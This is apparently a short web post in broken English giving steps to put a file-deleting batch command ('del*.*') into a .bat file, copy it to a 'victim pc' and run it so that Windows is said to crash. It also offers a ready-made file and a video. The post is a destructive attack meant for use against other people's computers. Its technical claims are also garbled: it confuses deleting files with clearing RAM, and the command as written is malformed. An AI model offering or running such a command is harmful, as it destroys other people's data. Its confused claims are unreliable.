how to delete windows ram it clear it all

this how to delete windows ram it clear it all
1.open notepad
2.write del*.* 
3.save as example .bat 
4.copy to your victim pc 
5.open it
6.after 2m it will crash windows system
................................................................................................................................................................................................note:1.dont open it in your device or it will crash it
2.you can fix it by reinstall the windows
................................................................................................................................................................................................enjoy your hack
if you want the file ready 
download it from here
watch the video